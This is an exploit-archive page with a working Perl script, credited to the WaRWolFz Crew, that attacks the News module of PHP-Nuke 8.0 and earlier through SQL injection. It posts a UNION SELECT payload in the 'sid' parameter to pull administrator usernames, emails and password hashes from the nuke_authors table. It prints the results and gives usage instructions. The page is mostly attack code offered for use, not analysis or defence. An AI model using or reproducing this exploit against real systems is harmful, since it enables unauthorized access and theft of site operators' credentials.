PHP-Nuke <= 8.0 (News) Remote SQL Injection Exploit
Posted on 22 June 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>PHP-Nuke <= 8.0 (News) Remote SQL Injection Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=================================================== PHP-Nuke <= 8.0 (News) Remote SQL Injection Exploit =================================================== #!/usr/bin/perl #[0-Day] PHP-Nuke <= 8.0 (News) Remote SQL Injection Exploit #Created: 2010.04.23 after 3 days the bug was discovered. #Author/s: Dante90 & The:Paradox, WaRWolFz Crew #Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero, s3rg3770, Shades Master, The:Paradox, V1R5, yeat #Web Site: www.warwolfz.org use strict; use warnings; use LWP::UserAgent; use HTTP::Cookies; use HTTP::Headers; my $UserName = shift or usage(); my $HostName = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link my $Method = HTTP::Request->new(POST => $HostName.'modules.php?name=News'); my $Cookies = new HTTP::Cookies; my $UserAgent = new LWP::UserAgent( agent => 'Mozilla/5.0', max_redirect => 0, cookie_jar => $Cookies, default_headers => HTTP::Headers->new, ) or die $!; my $Referrer = "sid=Dante90, WaRWolFz Crew http://www.warwolfz.org/&op=rate_complete&score=1"; sub SQL_Injection{ my ($Victime) = @_; return "-2' UNION# SELECT CONCAT_WS(CHAR(32,58,32),`aid`,`name`,`email`,`pwd`) FROM `nuke_authors` WHERE `aid`='${Victime}'-- "; } $Method->referer($HostName.'modules.php?name=News'); $Method->content_type('application/x-www-form-urlencoded'); $Method->content("sid=".SQL_Injection($UserName)."&op=rate_complete&score=1"); my $Response = $UserAgent->request($Method); $Response->is_success or die "$HostName : ",$Response->message," "; if($Response->content =~ /([a-zA-Z0-9-_.]{2,15}) : ([a-zA-Z0-9-_.]{2,15}) : ([a-zA-Z0-9.@]{1,50}) : ([a-f0-9]{32})/i){ refresh($HostName, $1, $2, $3, $4); print " * Exploit Successfully Executed * "; print " ------------------------------------------------------ "; system("pause"); }else{ refresh($HostName, "", "", "", ""); print " * Error extracting sensible data. "; print " * Exploit Failed * "; print " ------------------------------------------------------ "; } sub usage{ system("cls"); { print " [0-Day] PHP-Nuke <= 8.0 (News) Remote SQL Injection Exploit "; print " ------------------------------------------------------ "; print " * USAGE: * "; print " * cd [Local Disk]:\[Directory Of Exploit]\ * "; print " * perl name_exploit.pl [username] * "; print " ------------------------------------------------------ "; print " * Powered By Dante90 & The:Paradox, WaRWolFz Crew * "; print " * www.warwolfz.org - dante90_founder[at]warwolfz.org * "; print " ------------------------------------------------------ "; }; exit; } sub refresh{ system("cls"); { print " [0-Day] PHP-Nuke <= 8.0 (News) Remote SQL Injection Exploit "; print " ------------------------------------------------------ "; print " * USAGE: * "; print " * cd [Local Disk]:\[Directory Of Exploit]\ * "; print " * perl name_exploit.pl [username] * "; print " ------------------------------------------------------ "; print " * Powered By Dante90 & The:Paradox, WaRWolFz Crew * "; print " * www.warwolfz.org - dante90_founder[at]warwolfz.org * "; print " ------------------------------------------------------ "; }; print " * Victime Site: " . $_[0] . " "; print " * User ID: " . $_[1] . " "; print " * Username: " . $_[2] . " "; print " * Password: " . $_[4] . " "; print " * E-Mail: " . $_[3] . " "; } #WaRWolFz Crew # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-22]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>